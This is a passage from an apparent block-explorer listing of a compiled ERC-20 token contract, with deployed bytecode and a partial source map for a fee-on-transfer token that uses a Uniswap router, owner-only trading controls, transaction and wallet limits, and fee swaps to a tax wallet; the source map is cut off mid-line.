565b5060015b92915050565b5f61043c6009600a61188e565b61044b9064a24696f44061189c565b905090565b5f546001600160a01b031633146104825760405162461bcd60e51b8152600401610479906118b3565b60405180910390fd5b5f471161048d575f80fd5b5f80546040516001600160a01b03909116914780156108fc02929091818181858888f193505050501580156104c4573d5f803e3d5ffd5b50565b5f6104d3848484610d8a565b610524843361051f85604051806060016040528060288152602001611a47602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906112ec565b610c67565b5060019392505050565b5f546001600160a01b031633146105575760405162461bcd60e51b8152600401610479906118b3565b601254600160a01b900460ff16156105b15760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610479565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105fb9030906105ec6009600a61188e565b61051f9064a24696f44061189c565b60115f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561064b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061066f91906118e8565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106ce573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106f291906118e8565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561073c573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061076091906118e8565b601280546001600160a01b039283166001600160a01b03199091161790556011541663f305d71947306107a7816001600160a01b03165f9081526001602052604090205490565b5f806107ba5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610820573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906108459190611903565b50506012546001600160a01b0316158015915061087b575060125461087b906001600160a01b03168261087661042f565b611324565b610883575f80fd5b60125460115460405163095ea7b360e01b81526001600160a01b0391821660048201525f19602482015291169063095ea7b3906044016020604051808303815f875af11580156108d5573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108f9919061192e565b506104c481610bb6565b5f546001600160a01b0316331461092c5760405162461bcd60e51b8152600401610479906118b3565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b0316331461099d5760405162461bcd60e51b8152600401610479906118b3565b6109a96009600a61188e565b6109b89064a24696f44061189c565b600d556109c76009600a61188e565b6109d69064a24696f44061189c565b600e557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf610a066009600a61188e565b610a159064a24696f44061189c565b60405190815260200160405180910390a1565b5f546001600160a01b03163314610a515760405162461bcd60e51b8152600401610479906118b3565b6040516370a0823160e01b81523060048201525f90610ad290606490610acc9085906001600160a01b038816906370a0823190602401602060405180830381865afa158015610aa2573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ac6919061194d565b90611330565b906113b5565b9050826001600160a01b031663a9059cbb610af45f546001600160a01b031690565b6040516001600160e01b031960e084901b1681526001600160a01b039091166004820152602481018490526044016020604051808303815f875af1158015610b3e573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b62919061192e565b50505050565b5f610425338484610d8a565b5f546001600160a01b03163314610b9d5760405162461bcd60e51b8152600401610479906118b3565b6012805462ff00ff60a01b19166201000160a01b179055565b5f546001600160a01b03163314610bdf5760405162461bcd60e51b8152600401610479906118b3565b600480546001600160a01b039092166001600160a01b0319909216821790555f908152600360205260409020805460ff19166001179055565b5f546001600160a01b03163314610c415760405162461bcd60e51b8152600401610479906118b3565b6007548111158015610c5557506008548111155b610c5d575f80fd5b6007819055600855565b6001600160a01b038316610cc95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610479565b6001600160a01b038216610d2a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610479565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610dee5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610479565b6001600160a01b038216610e505760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610479565b5f8111610eb15760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610479565b5f80546001600160a01b03858116911614801590610edc57505f546001600160a01b03848116911614155b156111af57601254600160b01b900460ff1615610f1c57610f196064610acc600954600c5411610f0e57600554610f12565b6007545b8590611330565b90505b6012546001600160a01b038581169116148015610f4757506011546001600160a01b03848116911614155b8015610f6b57506001600160a01b0383165f9081526003602052604090205460ff16155b1561105157600d54821115610fc25760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610479565b600e5482610fe4856001600160a01b03165f9081526001602052604090205490565b610fee9190611964565b111561103c5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610479565b600c8054905f61104b83611977565b91905055505b6012546001600160a01b03848116911614801561107757506001600160a01b0384163014155b156110a4576110a16064610acc600a54600c541161109757600654610f12565b6008548590611330565b90505b305f90815260016020526040902054601254600160a81b900460ff161580156110da57506012546001600160a01b038581169116145b80156110ef5750601254600160b01b900460ff165b80156110fe5750600b54600c54115b156111ad57601454431115611112575f6013555b6003601354106111645760405162461bcd60e51b815260206004820152601760248201527f4f6e6c7920332073656c6c732070657220626c6f636b210000000000000000006044820152606401610479565b600f5481111561118b5761118b61118684611181846010546113f6565b6113f6565b61140a565b6111944761157a565b60138054905f6111a383611977565b9091555050436014555b505b801561122757305f908152600160205260409020546111ce90826115b5565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061121e9085815260200190565b60405180910390a35b6001600160a01b0384165f908152600160205260409020546112499083611613565b6001600160a01b0385165f9081526001602052604090205561128c61126e8383611613565b6001600160a01b0385165f90815260016020526040902054906115b5565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6112d58585611613565b60405190815260200160405180910390a350505050565b5f818484111561130f5760405162461bcd60e51b81526004016104799190611680565b505f61131b848661198f565b95945050505050565b5f610524848484610c67565b5f825f0361133f57505f610429565b5f61134a838561189c565b90508261135785836119a2565b146113ae5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610479565b9392505050565b5f6113ae83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611654565b5f81831161140457826113ae565b50919050565b6012805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110611450576114506119c1565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156114a7573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906114cb91906118e8565b816001815181106114de576114de6119c1565b6001600160a01b0392831660209182029290920101526011546115049130911684610c67565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac9479061153c9085905f908690309042906004016119d5565b5f604051808303815f87803b158015611553575f80fd5b505af1158015611565573d5f803e3d5ffd5b50506012805460ff60a81b1916905550505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156115b1573d5f803e3d5ffd5b5050565b5f806115c18385611964565b9050838110156113ae5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610479565b5f6113ae83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112ec565b5f81836116745760405162461bcd60e51b81526004016104799190611680565b505f61131b84866119a2565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b03811681146104c4575f80fd5b5f80604083850312156116da575f80fd5b82356116e5816116b5565b946020939093013593505050565b5f805f60608486031215611705575f80fd5b8335611710816116b5565b92506020840135611720816116b5565b929592945050506040919091013590565b5f60208284031215611741575f80fd5b81356113ae816116b5565b5f806040838503121561175d575f80fd5b8235611768816116b5565b91506020830135611778816116b5565b809150509250929050565b5f60208284031215611793575f80fd5b5035919050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156117e857815f19048211156117ce576117ce61179a565b808516156117db57918102915b93841c93908002906117b3565b509250929050565b5f826117fe57506001610429565b8161180a57505f610429565b8160018114611820576002811461182a57611846565b6001915050610429565b60ff84111561183b5761183b61179a565b50506001821b610429565b5060208310610133831016604e8410600b8410161715611869575081810a610429565b61187383836117ae565b805f19048211156118865761188661179a565b029392505050565b5f6113ae60ff8416836117f0565b80820281158282048414176104295761042961179a565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f602082840312156118f8575f80fd5b81516113ae816116b5565b5f805f60608486031215611915575f80fd5b8351925060208401519150604084015190509250925092565b5f6020828403121561193e575f80fd5b815180151581146113ae575f80fd5b5f6020828403121561195d575f80fd5b5051919050565b808201808211156104295761042961179a565b5f600182016119885761198861179a565b5060010190565b818103818111156104295761042961179a565b5f826119bc57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015611a255784516001600160a01b031683529383019391830191600101611a00565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122047433a8b458806f38425f4ff5dbf748b20c170d1c86d7a70a28ab9cf42511d1e64736f6c63430008190033

Deployed Bytecode Sourcemap

3583:8281:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5406:83;;;;;;;;;;-1:-1:-1;5476:5:0;;;;;;;;;;;;-1:-1:-1;;;5476:5:0;;;;5406:83;;;;;;;:::i;:::-;;;;;;;;6239:161;;;;;;;;;;-1:-1:-1;6239:161:0;;;;;:::i;:::-;;:::i;:::-;;;1058:14:1;;1051:22;1033:41;;1021:2;1006:18;6239:161:0;893:187:1;4610:45:0;;;;;;;;;;;;;;;;;;;1231:25:1;;;1219:2;1204:18;4610:45:0;1085:177:1;5683:95:0;;;;;;;;;;;;;:::i;11537:152::-;;;;;;;;;;;;;:::i;:::-;;6578:313;;;;;;;;;;-1:-1:-1;6578:313:0;;;;;:::i;:::-;;:::i;5592:83::-;;;;;;;;;;-1:-1:-1;5592:83:0;;4249:1;1870:36:1;;1858:2;1843:18;5592:83:0;1728:184:1;10144:752:0;;;;;;;;;;-1:-1:-1;10144:752:0;;;;;:::i;:::-;;:::i;5786:119::-;;;;;;;;;;-1:-1:-1;5786:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;5879:18:0;5852:7;5879:18;;;:9;:18;;;;;;;5786:119;2664:148;;;;;;;;;;;;;:::i;9876:160::-;;;;;;;;;;;;;:::i;4442:47::-;;;;;;;;;;;;;;;;11258:271;;;;;;;;;;-1:-1:-1;11258:271:0;;;;;:::i;:::-;;:::i;2450:79::-;;;;;;;;;;-1:-1:-1;2488:7:0;2515:6;2450:79;;-1:-1:-1;;;;;2515:6:0;;;2315:51:1;;2303:2;2288:18;2450:79:0;2169:203:1;4496:49:0;;;;;;;;;;;;;;;;5497:87;;;;;;;;;;-1:-1:-1;5569:7:0;;;;;;;;;;;;-1:-1:-1;;;5569:7:0;;;;5497:87;;5913:167;;;;;;;;;;-1:-1:-1;5913:167:0;;;;;:::i;:::-;;:::i;4552:51::-;;;;;;;;;;;;;;;;10904:108;;;;;;;;;;;;;:::i;6088:143::-;;;;;;;;;;-1:-1:-1;6088:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6196:18:0;;;6169:7;6196:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6088:143;11697:164;;;;;;;;;;-1:-1:-1;11697:164:0;;;;;:::i;:::-;;:::i;11026:187::-;;;;;;;;;;-1:-1:-1;11026:187:0;;;;;:::i;:::-;;:::i;6239:161::-;6314:4;6331:39;285:10;6354:7;6363:6;6331:8;:39::i;:::-;-1:-1:-1;6388:4:0;6239:161;;;;;:::o;5683:95::-;5736:7;4310:13;4249:1;4310:2;:13;:::i;:::-;4292:31;;:15;:31;:::i;:::-;5756:14;;5683:95;:::o;11537:152::-;2577:6;;-1:-1:-1;;;;;2577:6:0;285:10;2577:22;2569:67;;;;-1:-1:-1;;;2569:67:0;;;;;;;:::i;:::-;;;;;;;;;11620:1:::1;11596:21;:25;11588:34;;;::::0;::::1;;2488:7:::0;2515:6;;11633:48:::1;::::0;-1:-1:-1;;;;;2515:6:0;;;;11659:21:::1;11633:48:::0;::::1;;;::::0;11659:21;;11633:48;2488:7;11633:48;11659:21;2515:6;11633:48;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;11537:152::o:0;6578:313::-;6676:4;6693:36;6703:6;6711:9;6722:6;6693:9;:36::i;:::-;6740:121;6749:6;285:10;6771:89;6809:6;6771:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6771:19:0;;;;;;:11;:19;;;;;;;;285:10;6771:33;;;;;;;;;;:37;:89::i;:::-;6740:8;:121::i;:::-;-1:-1:-1;6879:4:0;6578:313;;;;;:::o;10144:752::-;2577:6;;-1:-1:-1;;;;;2577:6:0;285:10;2577:22;2569:67;;;;-1:-1:-1;;;2569:67:0;;;;;;;:::i;:::-;10215:11:::1;::::0;-1:-1:-1;;;10215:11:0;::::1;;;10214:12;10206:47;;;::::0;-1:-1:-1;;;10206:47:0;;5200:2:1;10206:47:0::1;::::0;::::1;5182:21:1::0;5239:2;5219:18;;;5212:30;5278:25;5258:18;;;5251:53;5321:18;;10206:47:0::1;4998:347:1::0;10206:47:0::1;10264:15;:89:::0;;-1:-1:-1;;;;;;10264:89:0::1;10309:42;10264:89:::0;;::::1;::::0;;;10364:58:::1;::::0;10381:4:::1;::::0;4310:13:::1;4249:1;4310:2;:13;:::i;:::-;4292:31;::::0;:15:::1;:31;:::i;10364:58::-;10467:15;;;;;;;;;-1:-1:-1::0;;;;;10467:15:0::1;-1:-1:-1::0;;;;;10467:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10449:55:0::1;;10513:4;10520:15;;;;;;;;;-1:-1:-1::0;;;;;10520:15:0::1;-1:-1:-1::0;;;;;10520:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10449:94;::::0;-1:-1:-1;;;;;;10449:94:0::1;::::0;;;;;;-1:-1:-1;;;;;5836:15:1;;;10449:94:0::1;::::0;::::1;5818:34:1::0;5888:15;;5868:18;;;5861:43;5753:18;;10449:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10433:13;:110:::0;;-1:-1:-1;;;;;10433:110:0;;::::1;-1:-1:-1::0;;;;;;10433:110:0;;::::1;;::::0;;10554:15:::1;::::0;::::1;:31;10593:21;10624:4;10630:24;10624:4:::0;-1:-1:-1;;;;;5879:18:0;5852:7;5879:18;;;:9;:18;;;;;;;5786:119;10630:24:::1;10655:1;10657::::0;10659:7:::1;2488::::0;2515:6;-1:-1:-1;;;;;2515:6:0;;2450:79;10659:7:::1;10554:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;10554:129:0;;;-1:-1:-1;;;;;6274:15:1;;;10554:129:0::1;::::0;::::1;6256:34:1::0;6306:18;;;6299:34;;;;6349:18;;;6342:34;;;;6392:18;;;6385:34;6456:15;;;6435:19;;;6428:44;10667:15:0::1;6488:19:1::0;;;6481:35;6190:19;;10554:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;10702:13:0::1;::::0;-1:-1:-1;;;;;10702:13:0::1;:27:::0;;::::1;::::0;-1:-1:-1;10702:74:0::1;;-1:-1:-1::0;10741:13:0::1;::::0;10733:43:::1;::::0;-1:-1:-1;;;;;10741:13:0::1;10756:4:::0;10762:13:::1;:11;:13::i;:::-;10733:7;:43::i;:::-;10694:83;;;::::0;::::1;;10795:13;::::0;10826:15:::1;::::0;10788:71:::1;::::0;-1:-1:-1;;;10788:71:0;;-1:-1:-1;;;;;10826:15:0;;::::1;10788:71;::::0;::::1;7012:51:1::0;-1:-1:-1;;7079:18:1;;;7072:34;10795:13:0;::::1;::::0;10788:29:::1;::::0;6985:18:1;;10788:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;10870:18;10883:4;10870:12;:18::i;2664:148::-:0;2577:6;;-1:-1:-1;;;;;2577:6:0;285:10;2577:22;2569:67;;;;-1:-1:-1;;;2569:67:0;;;;;;;:::i;:::-;2771:1:::1;2755:6:::0;;2734:40:::1;::::0;-1:-1:-1;;;;;2755:6:0;;::::1;::::0;2734:40:::1;::::0;2771:1;;2734:40:::1;2802:1;2785:19:::0;;-1:-1:-1;;;;;;2785:19:0::1;::::0;;2664:148::o;9876:160::-;2577:6;;-1:-1:-1;;;;;2577:6:0;285:10;2577:22;2569:67;;;;-1:-1:-1;;;2569:67:0;;;;;;;:::i;:::-;4310:13:::1;4249:1;4310:2;:13;:::i;:::-;4292:31;::::0;:15:::1;:31;:::i;:::-;9930:12;:22:::0;4310:13:::1;4249:1;4310:2;:13;:::i;:::-;4292:31;::::0;:15:::1;:31;:::i;:::-;9963:14;:22:::0;10001:27:::1;4310:13;4249:1;4310:2;:13;:::i;:::-;4292:31;::::0;:15:::1;:31;:::i;:::-;10001:27;::::0;1231:25:1;;;1219:2;1204:18;10001:27:0::1;;;;;;;9876:160::o:0;11258:271::-;2577:6;;-1:-1:-1;;;;;2577:6:0;285:10;2577:22;2569:67;;;;-1:-1:-1;;;2569:67:0;;;;;;;:::i;:::-;11362:55:::1;::::0;-1:-1:-1;;;11362:55:0;;11411:4:::1;11362:55;::::0;::::1;2315:51:1::0;11344:15:0::1;::::0;11362:105:::1;::::0;11463:3:::1;::::0;11362:82:::1;::::0;11436:7;;-1:-1:-1;;;;;11362:40:0;::::1;::::0;::::1;::::0;2288:18:1;;11362:55:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:73:::0;::::1;:82::i;:::-;:100:::0;::::1;:105::i;:::-;11344:123;;11485:8;-1:-1:-1::0;;;;;11478:25:0::1;;11504:7;2488::::0;2515:6;-1:-1:-1;;;;;2515:6:0;;2450:79;11504:7:::1;11478:43;::::0;-1:-1:-1;;;;;;11478:43:0::1;::::0;;;;;;-1:-1:-1;;;;;7030:32:1;;;11478:43:0::1;::::0;::::1;7012:51:1::0;7079:18;;;7072:34;;;6985:18;;11478:43:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;11333:196;11258:271:::0;;:::o;5913:167::-;5991:4;6008:42;285:10;6032:9;6043:6;6008:9;:42::i;10904:108::-;2577:6;;-1:-1:-1;;;;;2577:6:0;285:10;2577:22;2569:67;;;;-1:-1:-1;;;2569:67:0;;;;;;;:::i;:::-;10957:11:::1;:18:::0;;-1:-1:-1;;;;10986:18:0;-1:-1:-1;;;10986:18:0;;;10904:108::o;11697:164::-;2577:6;;-1:-1:-1;;;;;2577:6:0;285:10;2577:22;2569:67;;;;-1:-1:-1;;;2569:67:0;;;;;;;:::i;:::-;11769:10:::1;:34:::0;;-1:-1:-1;;;;;11769:34:0;;::::1;-1:-1:-1::0;;;;;;11769:34:0;;::::1;::::0;::::1;::::0;;:10:::1;11814:32:::0;;;:18:::1;:32;::::0;;;;:39;;-1:-1:-1;;11814:39:0::1;11769:34:::0;11814:39:::1;::::0;;11697:164::o;11026:187::-;2577:6;;-1:-1:-1;;;;;2577:6:0;285:10;2577:22;2569:67;;;;-1:-1:-1;;;2569:67:0;;;;;;;:::i;:::-;11107:12:::1;;11098:7;:21;;:47;;;;;11132:13;;11123:7;:22;;11098:47;11090:56;;;::::0;::::1;;11155:12;:20:::0;;;11184:13:::1;:21:::0;11026:187::o;6899:335::-;-1:-1:-1;;;;;6992:19:0;;6984:68;;;;-1:-1:-1;;;6984:68:0;;7790:2:1;6984:68:0;;;7772:21:1;7829:2;7809:18;;;7802:30;7868:34;7848:18;;;7841:62;-1:-1:-1;;;7919:18:1;;;7912:34;7963:19;;6984:68:0;7588:400:1;6984:68:0;-1:-1:-1;;;;;7071:21:0;;7063:68;;;;-1:-1:-1;;;7063:68:0;;8195:2:1;7063:68:0;;;8177:21:1;8234:2;8214:18;;;8207:30;8273:34;8253:18;;;8246:62;-1:-1:-1;;;8324:18:1;;;8317:32;8366:19;;7063:68:0;7993:398:1;7063:68:0;-1:-1:-1;;;;;7142:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7194:32;;1231:25:1;;;7194:32:0;;1204:18:1;7194:32:0;;;;;;;6899:335;;;:::o;7242:2027::-;-1:-1:-1;;;;;7330:18:0;;7322:68;;;;-1:-1:-1;;;7322:68:0;;8598:2:1;7322:68:0;;;8580:21:1;8637:2;8617:18;;;8610:30;8676:34;8656:18;;;8649:62;-1:-1:-1;;;8727:18:1;;;8720:35;8772:19;;7322:68:0;8396:401:1;7322:68:0;-1:-1:-1;;;;;7409:16:0;;7401:64;;;;-1:-1:-1;;;7401:64:0;;9004:2:1;7401:64:0;;;8986:21:1;9043:2;9023:18;;;9016:30;9082:34;9062:18;;;9055:62;-1:-1:-1;;;9133:18:1;;;9126:33;9176:19;;7401:64:0;8802:399:1;7401:64:0;7493:1;7484:6;:10;7476:64;;;;-1:-1:-1;;;7476:64:0;;9408:2:1;7476:64:0;;;9390:21:1;9447:2;9427:18;;;9420:30;9486:34;9466:18;;;9459:62;-1:-1:-1;;;9537:18:1;;;9530:39;9586:19;;7476:64:0;9206:405:1;7476:64:0;7551:17;2515:6;;-1:-1:-1;;;;;7585:15:0;;;2515:6;;7585:15;;;;:32;;-1:-1:-1;2488:7:0;2515:6;-1:-1:-1;;;;;7604:13:0;;;2515:6;;7604:13;;7585:32;7581:1332;;;7637:11;;-1:-1:-1;;;7637:11:0;;;;7634:121;;;7679:76;7751:3;7679:67;7701:15;;7691:9;;:25;7690:55;;7731:14;;7690:55;;;7718:12;;7690:55;7679:6;;:10;:67::i;:76::-;7667:88;;7634:121;7784:13;;-1:-1:-1;;;;;7776:21:0;;;7784:13;;7776:21;:55;;;;-1:-1:-1;7815:15:0;;-1:-1:-1;;;;;7801:30:0;;;7815:15;;7801:30;;7776:55;:83;;;;-1:-1:-1;;;;;;7837:22:0;;;;;;:18;:22;;;;;;;;7835:24;7776:83;7772:313;;;7899:12;;7889:6;:22;;7881:60;;;;-1:-1:-1;;;7881:60:0;;9818:2:1;7881:60:0;;;9800:21:1;9857:2;9837:18;;;9830:30;9896:27;9876:18;;;9869:55;9941:18;;7881:60:0;9616:349:1;7881:60:0;7994:14;;7984:6;7968:13;7978:2;-1:-1:-1;;;;;5879:18:0;5852:7;5879:18;;;:9;:18;;;;;;;5786:119;7968:13;:22;;;;:::i;:::-;:40;;7960:79;;;;-1:-1:-1;;;7960:79:0;;10302:2:1;7960:79:0;;;10284:21:1;10341:2;10321:18;;;10314:30;10380:28;10360:18;;;10353:56;10426:18;;7960:79:0;10100:350:1;7960:79:0;8058:9;:11;;;:9;:11;;;:::i;:::-;;;;;;7772:313;8110:13;;-1:-1:-1;;;;;8104:19:0;;;8110:13;;8104:19;:43;;;;-1:-1:-1;;;;;;8127:20:0;;8142:4;8127:20;;8104:43;8101:174;;;8180:79;8255:3;8180:70;8202:16;;8192:9;;:26;8191:58;;8234:15;;8191:58;;;8220:13;;8180:6;;:10;:70::i;:79::-;8168:91;;8101:174;8340:4;8291:28;5879:18;;;:9;:18;;;;;;8366:6;;-1:-1:-1;;;8366:6:0;;;;8365:7;:30;;;;-1:-1:-1;8382:13:0;;-1:-1:-1;;;;;8376:19:0;;;8382:13;;8376:19;8365:30;:45;;;;-1:-1:-1;8399:11:0;;-1:-1:-1;;;8399:11:0;;;;8365:45;:79;;;;;8426:18;;8414:9;;:30;8365:79;8361:541;;;8484:13;;8469:12;:28;8465:90;;;8534:1;8522:9;:13;8465:90;8593:1;8581:9;;:13;8573:49;;;;-1:-1:-1;;;8573:49:0;;10797:2:1;8573:49:0;;;10779:21:1;10836:2;10816:18;;;10809:30;10875:25;10855:18;;;10848:53;10918:18;;8573:49:0;10595:347:1;8573:49:0;8667:17;;8644:20;:40;8641:114;;;8686:69;8703:51;8707:6;8715:38;8719:20;8741:11;;8715:3;:38::i;:::-;8703:3;:51::i;:::-;8686:16;:69::i;:::-;8774:35;8787:21;8774:12;:35::i;:::-;8828:9;:11;;;:9;:11;;;:::i;:::-;;;;-1:-1:-1;;8874:12:0;8858:13;:28;8361:541;7619:1294;7581:1332;8928:11;;8925:161;;8996:4;8978:24;;;;:9;:24;;;;;;:39;;9007:9;8978:28;:39::i;:::-;8971:4;8953:24;;;;:9;:24;;;;;;;:64;;;;9035:39;;-1:-1:-1;;;;;9035:39:0;;;;;;;9064:9;1231:25:1;;1219:2;1204:18;;1085:177;9035:39:0;;;;;;;;8925:161;-1:-1:-1;;;;;9112:15:0;;;;;;:9;:15;;;;;;:27;;9132:6;9112:19;:27::i;:::-;-1:-1:-1;;;;;9096:15:0;;;;;;:9;:15;;;;;:43;9164:40;9182:21;:6;9193:9;9182:10;:21::i;:::-;-1:-1:-1;;;;;9164:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;9150:13:0;;;;;;;:9;:13;;;;;:54;;;;9220:41;;;9239:21;:6;9250:9;9239:10;:21::i;:::-;9220:41;;1231:25:1;;;1219:2;1204:18;9220:41:0;;;;;;;7311:1958;7242:2027;;;:::o;1342:190::-;1428:7;1464:12;1456:6;;;;1448:29;;;;-1:-1:-1;;;1448:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1488:9:0;1500:5;1504:1;1500;:5;:::i;:::-;1488:17;1342:190;-1:-1:-1;;;;;1342:190:0:o;6408:162::-;6491:4;6508:32;6517:5;6524:7;6533:6;6508:8;:32::i;1540:246::-;1598:7;1622:1;1627;1622:6;1618:47;;-1:-1:-1;1652:1:0;1645:8;;1618:47;1675:9;1687:5;1691:1;1687;:5;:::i;:::-;1675:17;-1:-1:-1;1720:1:0;1711:5;1715:1;1675:17;1711:5;:::i;:::-;:10;1703:56;;;;-1:-1:-1;;;1703:56:0;;11504:2:1;1703:56:0;;;11486:21:1;11543:2;11523:18;;;11516:30;11582:34;11562:18;;;11555:62;-1:-1:-1;;;11633:18:1;;;11626:31;11674:19;;1703:56:0;11302:397:1;1703:56:0;1777:1;1540:246;-1:-1:-1;;;1540:246:0:o;1794:132::-;1852:7;1879:39;1883:1;1886;1879:39;;;;;;;;;;;;;;;;;:3;:39::i;9279:98::-;9336:7;9363:1;9361;:3;9360:9;;9368:1;9360:9;;;-1:-1:-1;9366:1:0;9279:98;-1:-1:-1;9279:98:0:o;9385:483::-;5015:6;:13;;-1:-1:-1;;;;5015:13:0;-1:-1:-1;;;5015:13:0;;;9487:16:::1;::::0;;9501:1:::1;9487:16:::0;;;;;::::1;::::0;;-1:-1:-1;;9487:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;9487:16:0::1;9463:40;;9532:4;9514;9519:1;9514:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9514:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;9558:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;9558:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;9514:7;;9558:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9548:4;9553:1;9548:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9548:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;9623:15:::1;::::0;9591:62:::1;::::0;9608:4:::1;::::0;9623:15:::1;9641:11:::0;9591:8:::1;:62::i;:::-;9664:15;::::0;:196:::1;::::0;-1:-1:-1;;;9664:196:0;;-1:-1:-1;;;;;9664:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;9745:11;;9664:15:::1;::::0;9787:4;;9814::::1;::::0;9834:15:::1;::::0;9664:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::